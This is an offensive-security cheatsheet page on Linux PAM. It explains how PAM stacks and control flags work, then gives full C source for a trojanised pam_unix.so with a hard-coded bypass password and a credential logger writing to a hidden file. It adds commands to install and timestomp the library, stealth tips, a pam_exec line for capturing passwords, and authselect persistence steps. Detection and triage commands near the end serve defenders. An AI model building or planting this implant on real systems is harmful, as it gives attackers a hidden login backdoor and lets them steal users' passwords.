daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

pam-pluggable-authentication-modules.md (15375B)


      1 ---
      2 title: "PAM - Pluggable Authentication Modules"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/software-information/pam-pluggable-authentication-modules.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/software-information/pam-pluggable-authentication-modules.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # PAM - Pluggable Authentication Modules
     14 
     15 ### Basic Information
     16 
     17 **PAM (Pluggable Authentication Modules)** acts as a security mechanism that **verifies the identity of users attempting to access computer services**, controlling their access based on various criteria. It's akin to a digital gatekeeper, ensuring that only authorized users can engage with specific services while potentially limiting their usage to prevent system overloads.
     18 
     19 #### Configuration Files
     20 
     21 - **Solaris** supports the legacy central file `/etc/pam.conf`, but current guidance prefers service files under `/etc/pam.d`.<sup>[[10]](#references)</sup>
     22 - **Linux systems** prefer a directory approach, storing service-specific configurations within `/etc/pam.d`. For instance, the configuration file for the login service is found at `/etc/pam.d/login`.<sup>[[1]](#references)</sup>
     23 
     24 An example of a PAM configuration for the login service might look like this:
     25 
     26 ```text
     27 auth required /lib/security/pam_securetty.so
     28 auth required /lib/security/pam_nologin.so
     29 auth sufficient /lib/security/pam_ldap.so
     30 auth required /lib/security/pam_unix_auth.so try_first_pass
     31 account sufficient /lib/security/pam_ldap.so
     32 account required /lib/security/pam_unix_acct.so
     33 password required /lib/security/pam_cracklib.so
     34 password required /lib/security/pam_ldap.so
     35 password required /lib/security/pam_pwdb.so use_first_pass
     36 session required /lib/security/pam_unix_session.so
     37 ```
     38 
     39 #### **PAM Management Realms**
     40 
     41 These realms, or management groups, include **auth**, **account**, **password**, and **session**, each responsible for different aspects of the authentication and session management process:<sup>[[1]](#references)</sup>
     42 
     43 - **Auth**: Validates user identity, often by prompting for a password.
     44 - **Account**: Handles account verification, checking for conditions like group membership or time-of-day restrictions.
     45 - **Password**: Manages password updates, including complexity checks or dictionary attacks prevention.
     46 - **Session**: Manages actions during the start or end of a service session, such as mounting directories or setting resource limits.
     47 
     48 #### **PAM Module Controls**
     49 
     50 Controls dictate the module's response to success or failure, influencing the overall authentication process. These include:<sup>[[1]](#references)</sup>
     51 
     52 - **Required**: Failure of a required module results in eventual failure, but only after all subsequent modules are checked.
     53 - **Requisite**: Immediate termination of the process upon failure.
     54 - **Sufficient**: If no earlier `required` module failed, success returns immediately and skips the remaining modules in the same management group.
     55 - **Optional**: Only causes failure if it's the sole module in the stack.
     56 
     57 #### Offensive Semantics That Matter
     58 
     59 When analyzing or modifying PAM, the **location of an inserted rule** determines which stack sees it:<sup>[[1]](#references)[[13]](#references)</sup>
     60 
     61 - `include` and `substack` pull rules from other files, so editing `sshd` might only affect SSH while editing `system-auth`, `common-auth`, or another shared stack affects several services at once.<sup>[[1]](#references)[[13]](#references)</sup>
     62 - PAM also supports bracketed controls such as `[success=1 default=ignore]`. These can be abused to **skip one or more modules** after a successful custom check instead of visibly replacing `pam_unix.so`.<sup>[[1]](#references)</sup>
     63 - The `module-path` can be **absolute** (`/usr/lib/security/pam_custom.so`) or **relative** to the default PAM module directory. On modern Linux systems the real directories are often `/lib/security`, `/lib64/security`, `/usr/lib/security`, or multiarch paths like `/usr/lib/x86_64-linux-gnu/security`.<sup>[[1]](#references)[[14]](#references)</sup>
     64 
     65 Quick operator takeaway: always map the **full service graph** before patching. For example, `sshd -> password-auth -> system-auth` on some distros or `sshd -> system-remote-login -> system-login -> system-auth` on others means the same one-line implant may fan out much wider than intended.<sup>[[1]](#references)[[13]](#references)</sup>
     66 
     67 #### Example Scenario
     68 
     69 In a setup with multiple auth modules, the process follows a strict order. If the `pam_securetty` module finds the login terminal unauthorized, root logins are blocked, yet all modules are still processed due to its "required" status. The `pam_env` sets environment variables, potentially aiding in user experience. The `pam_ldap` and `pam_unix` modules work together to authenticate the user, with `pam_unix` attempting to use a previously supplied password, enhancing efficiency and flexibility in authentication methods.<sup>[[1]](#references)[[13]](#references)[[15]](#references)[[16]](#references)[[17]](#references)</sup>
     70 
     71 
     72 ## Backdooring PAM – Hooking `pam_unix.so`
     73 
     74 A classic persistence trick in high-value Linux environments is to **swap the legitimate PAM library with a trojanised drop-in**. On a host whose PAM stack loads `pam_unix.so`, SSH or console authentication can invoke its `pam_sm_authenticate()` entry point; a malicious replacement can capture credentials or implement a *magic* password bypass.<sup>[[2]](#references)[[11]](#references)</sup>
     75 
     76 ### Compilation Cheatsheet
     77 The sketch below uses Linux-PAM's `pam_sm_authenticate()` service entry point and `pam_get_authtok()` to access the authentication token.<sup>[[11]](#references)[[12]](#references)</sup>
     78 <details>
     79 <summary>Sample `pam_unix.so` trojan</summary>
     80 
     81 ```c
     82 #define _GNU_SOURCE
     83 #include <security/pam_modules.h>
     84 #include <security/pam_ext.h>
     85 #include <dlfcn.h>
     86 #include <stdio.h>
     87 #include <fcntl.h>
     88 #include <string.h>
     89 #include <unistd.h>
     90 
     91 static void *real_module;
     92 static int (*orig_auth)(pam_handle_t *, int, int, const char **);
     93 static int (*orig_setcred)(pam_handle_t *, int, int, const char **);
     94 static const char *MAGIC = "Sup3rS3cret!";
     95 
     96 static int load_original(void) {
     97     if (real_module) return 0;
     98     real_module = dlopen("/lib/security/pam_unix.so.bak", RTLD_NOW | RTLD_LOCAL);
     99     if (!real_module) return -1;
    100     orig_auth = dlsym(real_module, "pam_sm_authenticate");
    101     orig_setcred = dlsym(real_module, "pam_sm_setcred");
    102     return (orig_auth && orig_setcred) ? 0 : -1;
    103 }
    104 
    105 PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    106     const char *user = NULL, *pass = NULL;
    107     pam_get_user(pamh, &user, NULL);
    108     pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
    109 
    110     /* Magic pwd → immediate success */
    111     if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
    112 
    113     /* Credential harvesting */
    114     if (user && pass) {
    115         int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
    116         if (fd >= 0) {
    117             dprintf(fd, "%s:%s\n", user, pass);
    118             close(fd);
    119         }
    120     }
    121 
    122     /* Forward to the renamed original module. */
    123     if (load_original() != 0) return PAM_SYSTEM_ERR;
    124     return orig_auth(pamh, flags, argc, argv);
    125 }
    126 
    127 PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    128     if (load_original() != 0) return PAM_SYSTEM_ERR;
    129     return orig_setcred(pamh, flags, argc, argv);
    130 }
    131 ```
    132 
    133 </details>
    134 
    135 Compile and stealth-replace (the replacement/timestomp pattern is documented by Unit 42). Adjust both the backup path hard-coded in the wrapper and the commands below to the target's actual PAM module directory:<sup>[[2]](#references)</sup>
    136 ```bash
    137 gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
    138 mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
    139 mv pam_unix.so /lib/security/pam_unix.so
    140 chmod 644 /lib/security/pam_unix.so     # keep original perms
    141 touch -r /bin/ls /lib/security/pam_unix.so  # timestomp
    142 ```
    143 
    144 ### OpSec Tips
    145 1. **Atomic overwrite** – write a complete library to a temporary file and rename it into place to avoid leaving a partially written authentication module.
    146 2. A path such as `/usr/bin/.dbus.log` was observed in Unit 42's AuthDoor analysis, so it is also a useful hunting indicator.<sup>[[2]](#references)</sup>
    147 3. Preserve the entry points expected by the PAM stack (for example, `pam_sm_authenticate` and `pam_sm_setcred`) so other management operations continue to work.<sup>[[11]](#references)[[18]](#references)</sup>
    148 
    149 ### Detection
    150 For package-integrity checks, RPM verifies installed-file metadata, `debsums -s` reports checksum errors, and `dpkg -S` in the triage block queries package ownership; the audit watch syntax records writes and attribute changes to a path.<sup>[[6]](#references)[[7]](#references)[[8]](#references)[[9]](#references)</sup>
    151 * Compare MD5/SHA256 of `pam_unix.so` against distro package.
    152 * `rpm -V pam` or `debsums -s libpam-modules` to spot replaced libraries without manual hashing.
    153 * Check for world-writable or unusual ownership under `/lib/security/`.
    154 * `auditd` rule: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
    155 * Grep PAM configs for unexpected modules: `grep -R "pam_[a-z].*\.so" /etc/pam.d/ | grep -v pam_unix`.
    156 
    157 ### Quick triage commands (post-compromise or threat hunting)
    158 ```bash
    159 # 1) Spot alien PAM objects
    160 find /{lib,usr/lib,usr/local/lib}{,64}/security -type f -printf '%p %s %M %u:%g %TY-%Tm-%Td\n' | grep -E 'pam_|libselinux'
    161 
    162 # 2) Verify package integrity
    163 command -v rpm >/dev/null && rpm -V pam || debsums -s libpam-modules
    164 
    165 # 3) Identify non-packaged PAM modules
    166 for f in /{lib,usr/lib,usr/local/lib}{,64}/security/*.so; do
    167     dpkg -S "$f" >/dev/null 2>&1 || echo "UNPACKAGED: $f";
    168 done
    169 
    170 # 4) Look for stealth config edits
    171 grep -R "pam_.*\.so" /etc/pam.d/ | grep -E 'plg|selinux|custom|exec'
    172 ```
    173 
    174 ### Abusing `pam_exec` for persistence
    175 Instead of replacing `pam_unix.so`, a lighter touch is to append a `pam_exec` line in `/etc/pam.d/sshd` so an invocation that reaches that PAM line runs a helper while leaving the normal stack intact.<sup>[[4]](#references)</sup>
    176 ```bash
    177 # Run during the auth phase; expose_authtok sends the token on stdin
    178 auth optional pam_exec.so quiet expose_authtok /usr/local/bin/.ssh_hook.sh
    179 ```
    180 `pam_exec` receives PAM metadata in environment variables such as `PAM_USER`, `PAM_RHOST`, `PAM_SERVICE`, `PAM_TTY`, and `PAM_TYPE`. With `expose_authtok`, the helper can read up to `PAM_MAX_RESP_SIZE` bytes of the password from `stdin` during `auth` or `password` phases. If you want the helper to run with the effective UID instead of the real UID, add `seteuid`.<sup>[[4]](#references)</sup>
    181 
    182 Practical notes follow the module types and `type=` filter documented for `pam_exec`:<sup>[[4]](#references)</sup>
    183 
    184 - `session optional pam_exec.so ...` is better for **post-login actions** such as re-opening sockets or spawning a detached daemon.
    185 - `auth optional pam_exec.so quiet expose_authtok ...` is the usual choice for **credential capture** because it runs before the session opens.
    186 - `type=session` or `type=auth` can be used to constrain execution to a specific PAM phase and avoid noisy double execution.
    187 
    188 ### Surviving distro tooling: `authselect`
    189 
    190 On RHEL and Fedora-family systems that use `authselect`, direct edits to generated files such as `/etc/pam.d/system-auth` or `/etc/pam.d/password-auth` may be **overwritten by `authselect`**. For persistence, operators often patch the active custom profile under `/etc/authselect/custom/<profile>/` and then re-select it.<sup>[[5]](#references)[[19]](#references)</sup>
    191 
    192 Typical workflow when you have root:<sup>[[5]](#references)</sup>
    193 
    194 ```bash
    195 # Inspect the active profile first
    196 authselect current
    197 
    198 # If a custom profile already exists, edit its PAM templates instead of system-auth directly
    199 find /etc/authselect/custom -maxdepth 2 -type f \( -name 'system-auth' -o -name 'password-auth' \) -ls
    200 
    201 # Regenerate the PAM files after modifying the active custom profile
    202 authselect apply-changes
    203 ```
    204 
    205 This matters for both offense and triage: if `/etc/pam.d/system-auth` contains the banner `Generated by authselect` and `Do not modify this file manually`, then the real persistence point may live under `/etc/authselect/custom/` rather than in `/etc/pam.d/`.<sup>[[5]](#references)</sup>
    206 
    207 ### Recent tradecraft seen in the wild
    208 
    209 Recent 2025 reporting on the **Plague** Linux backdoor showed the same core idea taken further: a malicious PAM component with a **static bypass password**, plus cleanup of SSH-related environment variables and shell history (`HISTFILE=/dev/null`) to reduce session traces after login.<sup>[[3]](#references)</sup> That is a useful hunting pattern because the backdoor logic may live in PAM while the stealth artifacts only appear **after** authentication succeeds.
    210 
    211 
    212 ## References
    213 
    214 - [1] [pam.conf(5) / pam.d(5) - Linux-PAM Manual](https://man7.org/linux/man-pages/man5/pam.d.5.html)
    215 - [2] [The Covert Operator's Playbook: Infiltration of Global Telecom Networks - Unit 42](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
    216 - [3] [Nextron Systems - Plague: A Newly Discovered PAM-Based Backdoor for Linux](https://www.nextron-systems.com/2025/08/01/plague-a-newly-discovered-pam-based-backdoor-for-linux/)
    217 - [4] [pam_exec(8) - Linux-PAM Manual](https://man7.org/linux/man-pages/man8/pam_exec.8.html)
    218 - [5] [Configuring user authentication using authselect - Red Hat Enterprise Linux](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/configuring_authentication_and_authorization_in_rhel/configuring-user-authentication-using-authselect)
    219 - [6] [rpm(8) - RPM](https://rpm.org/docs/4.20.x/man/rpm.8)
    220 - [7] [debsums(1) - Debian Manpages](https://manpages.debian.org/unstable/debsums/debsums.1.en.html)
    221 - [8] [auditctl(8) - Linux manual page](https://man7.org/linux/man-pages/man8/auditctl.8.html)
    222 - [9] [dpkg-query(1) - Debian Manpages](https://manpages.debian.org/testing/dpkg/dpkg-query.1.en.html)
    223 - [10] [Managing Authentication in Oracle Solaris 11.4](https://docs.oracle.com/cd/E37838_01/pdf/E67470.pdf)
    224 - [11] [pam_sm_authenticate(3) - Linux-PAM Manual](https://man7.org/linux/man-pages/man3/pam_sm_authenticate.3.html)
    225 - [12] [pam_get_authtok(3) - Linux-PAM Manual](https://man7.org/linux/man-pages/man3/pam_get_authtok.3.html)
    226 - [13] [System-Level Authentication Guide - Red Hat Enterprise Linux 7](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html-single/system-level_authentication_guide/index)
    227 - [14] [Ubuntu package file list: libpam-modules/noble/amd64](https://packages.ubuntu.com/noble/amd64/libpam-modules/filelist)
    228 - [15] [pam_env(8) - Linux-PAM Manual](https://man7.org/linux/man-pages/man8/pam_env.8.html)
    229 - [16] [pam_unix(8) - Linux-PAM Manual](https://man7.org/linux/man-pages/man8/pam_unix.8.html)
    230 - [17] [pam_ldap(5) - Debian Manpages](https://manpages.debian.org/testing/libpam-ldap/pam_ldap.5.en.html)
    231 - [18] [pam_sm_setcred(3) - Linux-PAM Manual](https://man7.org/linux/man-pages/man3/pam_sm_setcred.3.html)
    232 - [19] [Changes/Make Authselect Mandatory - Fedora Project Wiki](https://fedoraproject.org/wiki/Changes/Make_Authselect_Mandatory)